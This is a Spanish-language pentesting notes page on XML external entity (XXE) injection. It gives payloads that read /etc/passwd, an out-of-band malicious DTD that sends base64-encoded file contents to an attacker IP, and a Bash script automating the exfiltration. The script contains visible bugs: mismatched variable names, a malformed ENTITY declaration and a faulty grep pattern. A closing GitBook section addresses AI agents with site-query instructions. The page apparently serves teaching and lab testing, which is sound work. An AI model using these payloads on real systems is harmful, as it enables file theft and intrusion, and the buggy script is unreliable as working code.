> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-techniques-pentesting-web.md).

# Técnicas XXE

Aquí está la estructura de una solicitud procesada con Burp Suite en el sitio XML vulnerable:

<figure><img src="/files/d23e71a3785c074a48572bc3f708235a8417c8e4" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/5191d8dc1992ee5d3e811432ff298971fed6e245" alt="" width="563"><figcaption></figcaption></figure>

## Inyección de entidades externas XML:

> En el caso de que el servidor web no valide correctamente los datos XML que recibe, los atacantes pueden explotar XXE inyectando una entidad XML maliciosa que contenga referencias a archivos del sistema a los que el servidor puede acceder. Esto puede permitir al atacante obtener información sensible del sistema, como contraseñas, nombres de usuario, claves API y otros datos confidenciales. Para acceder al sistema de archivos, debemos crear una nueva **entidad**, por ejemplo, "myFile", de la siguiente manera: `<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>` Luego, en una variable, deberíamos publicar el resultado con "**/\&myFile**" así:

<figure><img src="/files/e72e014a3d06ef2b96f2f8707bec83945cf383f7" alt=""><figcaption></figcaption></figure>

A veces, el resultado no se muestra correctamente. En este caso, podríamos usar la siguiente declaración: `<!DOCTYPE foo [<!ENTITY myFile SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>` Luego, decodificamos el contenido base64 resultante a su forma normal. Esto apuntaría a un archivo del sistema, como "/etc/passwd", y al imprimirlo con "/\&myFile;", podríamos ver el contenido del archivo sin errores.

## XXE con interacción fuera de banda:

> A veces, los ataques de inyección de entidades externas XML (XXE) no siempre conducen a la exposición directa de información sensible en la respuesta del servidor. En algunos casos, el atacante debe "ir a ciegas" para obtener información confidencial mediante técnicas adicionales. Una forma común de realizar XXE ciega es enviar solicitudes especialmente diseñadas que hacen que el servidor se conecte a una Document Type Definition (DTD) definida externamente. La DTD valida la estructura del archivo XML y puede contener referencias a recursos externos, como archivos en el sistema de archivos del servidor. Crea un archivo **malicious.dtd** con el siguiente contenido:

```xml
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://192.168.71.128/?file=%file;'>">
%eval;
%exfil;

```

Crea un **entidad** con el siguiente contenido:

```xml
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://192.168.71.128/malicious.dtd"> %xxe;]>

```

<figure><img src="/files/9b54d9f1b7dc4c93f9f190cad55a65bf1433798b" alt=""><figcaption></figcaption></figure>

Inicia un listener en **el puerto 80**:

<figure><img src="/files/7cf2b4acd65c6e66d7206b849394ef8f03dfe881" alt="" width="563"><figcaption></figcaption></figure>

Recupera el contenido en **base64**:

<figure><img src="/files/7cf2b4acd65c6e66d7206b849394ef8f03dfe881" alt="" width="563"><figcaption></figcaption></figure>

Convierte el **base64** valor a contenido legible y el resultado es el siguiente:

<figure><img src="/files/f9f6504162670611bb26291d5328eeac3236f5e4" alt="" width="563"><figcaption></figcaption></figure>

El siguiente script de Bash automatiza todo el proceso:

```bash
#!/bin/bash
echo -ne "[+] Enter the file to read: " && read -r myFilename
malhereuos_dtd="""
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=$myFilename">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://192.168.0.50/?file=%file;'>">
%eval;
%exfil; """
echo $malicious_dtd > malicious.dtd
python3 -m http.server 80 &>response &
PID=$!
sleep 1; echo
curl -s -X POST "http://localhost:5000/process.php" -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<! ENTITY % xxe SYSTEM "http://192.168.0.50/malicious.dtd"> %xxe;]>
<root><name><email>test@test.com</email></name></root>' &>/dev/null
cat response  | grep -oP "/?file=/K[^.*]+" | base64 -d
kill -9 $PID
wait $PID 2>/dev/null
rm response 2>/dev/null

```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
